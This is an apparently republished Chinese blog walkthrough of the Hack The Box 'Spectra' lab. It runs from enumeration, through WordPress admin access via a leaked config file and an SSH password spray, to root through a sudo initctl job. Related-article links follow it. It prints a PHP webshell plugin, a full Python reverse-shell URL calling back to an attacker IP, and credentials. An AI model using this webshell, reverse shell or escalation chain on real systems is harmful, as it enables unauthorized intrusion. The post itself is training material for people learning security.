Linux/Spectra

2024-02-28 07:36
文章标签 linux spectra

本文主要是介绍Linux/Spectra,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3306端口,端口详细信息如下

22端口运行着ssh,80端口还是http,不过不同的是打开了mysql的3306端口 TCP/80

进入首页,点击链接时,提示域名不能解析,需要在/etc/hosts中添加

10.10.10.229 spectra.htb

配置好后,点击Software Issue Tracker跳转到/main,可以看到该网站使用了wordpress

另一个链接Test会跳转至/testing/index.php,网站无法连接,显示数据库链接错误

直接访问/testing,会列出其他目录,但是wp-config.php文件似乎在服务器上使用nano编辑过,生成了.save文件

点击该文件并没有什么显示,但是查看源代码会展现很多内容,其中包括了wordpress的数据库信息

回到刚刚的/main页面,在页面底部有login链接,但是使用刚刚获取的用户名密码显示用户名无效

但是,使用administrator:devteam01却成功登录wordpress系统

Foothold

登录到wordpress后台

可以上传一个php文件作为新的插件

<?php
/*
Plugin Name: vegetable Plugin Version: 1.0.0
Author: vegetable Author URI: wordpress.org License: GPL2
*/
system($_REQUEST["cmd"]); ?>

将该php文件添加至zip

在wordpress后台,选择plugins→add new

然后选择刚才创建的shell.zip,再点击install now

跳转页面后再点击activate plugin

然后可以在插件列表中看到刚刚上传的插件

然后可以验证webshell是否成功上传

可以利用反向shell连接

访问

http://spectra.htb/main/wp-content/plugins/shell/shell.php?cmd=python%20-

c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.3%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

nc会监听到一个反向shell

升级shell

Lateral Movement

枚举系统发现了Chrome Os

Chrome OS 会将交互式登录用户的配置文件文件夹存储在/home/user/,但是却无法进入该文件

在/opt目录下有一个autologin.conf.prig

该脚本给出两条路径,但只有一个存在,其中的passwd文件似乎保存了一个密码

然后发现能登录的用户只有这几个

将这几个用户保存到一个文件中,形成用户名字典,然后利用crackmapexec程序看看哪个能成功登陆

crackmapexec ssh 10.10.10.229 -u user -p 'SummerHereWeCome!!' --continue-on-success

可以使用katie:SummerHereWeCome!!通过ssh登录系统

Privilege Escalation

使用sudo -l发现可以执行initctl,是init守护进程控制工具

使用id命令发现katie属于developers组

尝试搜索该组拥有的文件

test*.conf都是一样的

node.js文件来启动一个web

将/etc/init/test.conf的内容修改为

然后执行sudo initctl start test

之后,会在/tmp/vegetable中写入id,证明命令被执行

则可以往脚本中添加反向shell脚本

script exec id > /tmp/vegetableexport HOME=/srv echo $$ > /var/run/nodetest.pidexec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js  end script

和刚才一样操作,之后就可以获取root权限

这篇关于Linux/Spectra的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/754808

相关文章

Linux实现查看某一端口是否开放

《Linux实现查看某一端口是否开放》文章介绍了三种检查端口6379是否开放的方法:通过lsof查看进程占用,用netstat区分TCP/UDP监听状态,以及用telnet测试远程连接可达性... 目录1、使用lsof 命令来查看端口是否开放2、使用netstat 命令来查看端口是否开放3、使用telnet

Linux系统管理与进程任务管理方式

《Linux系统管理与进程任务管理方式》本文系统讲解Linux管理核心技能,涵盖引导流程、服务控制(Systemd与GRUB2)、进程管理(前台/后台运行、工具使用)、计划任务(at/cron)及常用... 目录引言一、linux系统引导过程与服务控制1.1 系统引导的五个关键阶段1.2 GRUB2的进化优

Linux查询服务器 IP 地址的命令详解

《Linux查询服务器IP地址的命令详解》在服务器管理和网络运维中,快速准确地获取服务器的IP地址是一项基本但至关重要的技能,下面我们来看看Linux中查询服务器IP的相关命令使用吧... 目录一、hostname 命令:简单高效的 IP 查询工具命令详解实际应用技巧注意事项二、ip 命令:新一代网络配置全

linux安装、更新、卸载anaconda实践

《linux安装、更新、卸载anaconda实践》Anaconda是基于conda的科学计算环境,集成1400+包及依赖,安装需下载脚本、接受协议、设置路径、配置环境变量,更新与卸载通过conda命令... 目录随意找一个目录下载安装脚本检查许可证协议,ENTER就可以安装完毕之后激活anaconda安装更

Linux查询服务器系统版本号的多种方法

《Linux查询服务器系统版本号的多种方法》在Linux系统管理和维护工作中,了解当前操作系统的版本信息是最基础也是最重要的操作之一,系统版本不仅关系到软件兼容性、安全更新策略,还直接影响到故障排查和... 目录一、引言:系统版本查询的重要性二、基础命令解析:cat /etc/Centos-release详

Linux grep 命令的使用指南

《Linuxgrep命令的使用指南》本文给大家介绍Linuxgrep命令的使用指南,包括基础搜索语法、实践指南,感兴趣的朋友跟随小编一起看看吧... 目录linux grep 命令全面使用指南一、基础搜索语法1. 基本文本搜索2. 多文件搜索二、常用选项详解1. 输出控制选项2. 上下文控制选项三、正则表达

Linux部署中的文件大小写问题的解决方案

《Linux部署中的文件大小写问题的解决方案》在本地开发环境(Windows/macOS)一切正常,但部署到Linux服务器后出现模块加载错误,核心原因是Linux文件系统严格区分大小写,所以本文给大... 目录问题背景解决方案配置要求问题背景在本地开发环境(Windows/MACOS)一切正常,但部署到

更改linux系统的默认Python版本方式

《更改linux系统的默认Python版本方式》通过删除原Python软链接并创建指向python3.6的新链接,可切换系统默认Python版本,需注意版本冲突、环境混乱及维护问题,建议使用pyenv... 目录更改系统的默认python版本软链接软链接的特点创建软链接的命令使用场景注意事项总结更改系统的默

Linux升级或者切换python版本实现方式

《Linux升级或者切换python版本实现方式》本文介绍在Ubuntu/Debian系统升级Python至3.11或更高版本的方法,通过查看版本列表并选择新版本进行全局修改,需注意自动与手动模式的选... 目录升级系统python版本 (适用于全局修改)对于Ubuntu/Debian系统安装后,验证Pyt

Linux从文件中提取特定内容的实用技巧分享

《Linux从文件中提取特定内容的实用技巧分享》在日常数据处理和配置文件管理中,我们经常需要从大型文件中提取特定内容,本文介绍的提取特定行技术正是这些高级操作的基础,以提取含有1的简单需求为例,我们可... 目录引言1、方法一:使用 grep 命令1.1 grep 命令基础1.2 命令详解1.3 高级用法2